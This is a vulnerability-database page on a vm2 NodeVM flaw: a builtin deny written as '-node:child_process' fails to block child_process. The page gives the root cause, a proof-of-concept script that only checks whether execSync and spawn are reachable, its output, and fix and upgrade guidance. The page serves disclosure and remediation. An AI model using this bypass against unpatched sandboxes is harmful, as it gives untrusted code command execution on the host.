CVE-2026-92957 — Vulnerability in vm2 — CVE Details
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.54%). Schedule for your next planned update.
Does your project use an affected vm2 version?
Paste your package-lock.json to check it for CVE-2026-92957 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
NodeVM normalizes node:-prefixed builtin specifiers during require() resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.
As a result, this configuration:
new NodeVM({
require: {
builtin: ['*', '-node:child_process']
}
});
does not deny the canonical child_process builtin. Sandboxed code can require both child_process and node:child_process, and receives the host module with process-spawning APIs such as execSync and spawn.
The safe proof below only checks module and function reachability. It does not execute any OS command.
Affected Mode
NodeVM.
Affected Configuration
new NodeVM({
require: {
builtin: ['*', '-node:child_process']
}
});
This affects users who deny builtins using their node:-prefixed spelling, expecting -node:child_process to deny require('node:child_process') and require('child_process').
Affected Files / Functions
lib/builtin.jsmakeBuiltinsFromLegacyOptions- wildcard builtin expansion
- exact negative entry check:
builtins.indexOf(\-${name}`)` addDefaultBuiltin
lib/resolver.jsResolver.resolve
lib/setup-node-sandbox.jsrequireImplnode:prefix stripping before builtin load
Root Cause
lib/setup-node-sandbox.js strips the node: prefix from resolved builtin filenames before loading the builtin:
if (localStringPrototypeStartsWith(filename, 'node:')) {
id = localStringPrototypeSlice(filename, 5);
let nmod = cacheBuiltins[id];
if (!nmod) {
nmod = loadBuiltinModule(id);
if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');
cacheBuiltins[id] = nmod;
}
return nmod;
}
But lib/builtin.js checks wildcard negative entries by exact string match against the names in BUILTIN_MODULES:
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
BUILTIN_MODULES contains the canonical name child_process, not node:child_process. Therefore -node:child_process does not exclude child_process, and addDefaultBuiltin() registers the host builtin.
Security Boundary Crossed
Sandboxed code reaches a host builtin that the embedder attempted to deny.
Boundary crossed:
- sandbox -> host
child_processbuiltin - sandbox -> host process-spawning function references
Impact
Confirmed impact:
require('child_process')succeeds inside the sandbox.require('node:child_process')succeeds inside the sandbox.- The returned module exposes
execSyncandspawnas functions.
Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.
The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.
'use strict';
const { NodeVM } = require('./');
function probe(builtin) {
const vm = new NodeVM({
require: {
builtin
}
});
return vm.run(`
const out = {};
for (const spec of ['child_process', 'node:child_process']) {
try {
const cp = require(spec);
out[spec] = {
loaded: true,
execSyncType: typeof cp.execSync,
spawnType: typeof cp.spawn,
moduleToStringTag: Object.prototype.toString.call(cp)
};
} catch (e) {
out[spec] = {
loaded: false,
name: e && e.name,
code: e && e.code,
message: e && e.message
};
}
}
module.exports = out;
`);
}
console.log(JSON.stringify({
nodeVersion: process.version,
denyNodePrefixed: probe(['*', '-node:child_process']),
denyCanonical: probe(['*', '-child_process'])
}, null, 2));
Observed result:
{
"nodeVersion": "v24.14.0",
"denyNodePrefixed": {
"child_process": {
"loaded": true,
"execSyncType": "function",
"spawnType": "function",
"moduleToStringTag": "[object Object]"
},
"node:child_process": {
"loaded": true,
"execSyncType": "function",
"spawnType": "function",
"moduleToStringTag": "[object Object]"
}
},
"denyCanonical": {
"child_process": {
"loaded": false,
"name": "VMError",
"code": "ENOTFOUND",
"message": "Cannot find module 'child_process'"
},
"node:child_process": {
"loaded": false,
"name": "VMError",
"code": "ENOTFOUND",
"message": "Cannot find module 'node:child_process'"
}
}
}
Expected Secure Behavior
-node:child_process and -child_process should be equivalent.
If either spelling is denied, both of these should fail:
require('child_process')
require('node:child_process')
Suggested Fix
-
Canonicalize builtin names before allow/deny comparison:
- Strip
node:from user-provided builtin entries. - Preserve whether an entry is negative (
-...) before canonicalizing. - Store and compare one canonical builtin key.
- Strip
-
Apply the same normalization to:
- wildcard negative entries
- explicit allowlist entries
- object-form builtin entries
- mock/override keys if they are intended to support
node:spelling
-
Add regression tests:
builtin: ['*', '-node:child_process']blockschild_process.builtin: ['*', '-node:child_process']blocksnode:child_process.builtin: ['*', '-node:fs']blocksfsandnode:fs.builtin: ['*', '-node:fs/promises']and-fs/promisesbehave consistently.- Canonical dangerous builtins remain denied even if explicitly requested with
node:spelling.
Advisory Timeline
- First published October 1, 2026 (56 days ago).
- Last revised October 1, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install vm2@3.11.7
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| vm2 npm · Affected: All versions | 3.11.7 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-269Improper Privilege ManagementMITRE
- CWE-284
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.9 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-8686-vhfx-7r3jWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-92957ADVISORY
- https://github.com/patriksimek/vm2/commit/b0f50662dd499ff33544bb42387958c64711af1eWEB
- https://github.com/patriksimek/vm2PACKAGE
- https://github.com/patriksimek/vm2/releases/tag/v3.11.7WEB
- https://www.vulncheck.com/advisories/vm2-before-3.11.7-authentication-bypass-via-node-prefixWEB
Frequently Asked Questions
- What is CVE-2026-92957?
- vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.9/10).
- How do I check if my project is affected by CVE-2026-92957?
- CVE-2026-92957 affects vm2. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-92957 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 38.7% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-44009CRITICAL
vm2 has Sandbox Breakout Through Null Proto Exception
- CVE-2026-92951CRITICAL
vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package
- CVE-2026-47698CRITICAL
vm2: Sandbox Breakout Using Dangerous Host Proto Mutators
- CVE-2026-92947CRITICAL
vm2: Sandboxed code can read and write host-realm memory via Node's shared Buffer pool
- CVE-2026-26956CRITICAL
VM2 Has a WASM Sandbox Escape
- CVE-2026-24118CRITICAL
VM2 Sandbox Breakout Through __lookupGetter__
- CVE-2026-92940CRITICAL
vm2 exposes host HTTPS credentials and TLS traffic through globalAgent
- CVE-2026-47209HIGH
vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain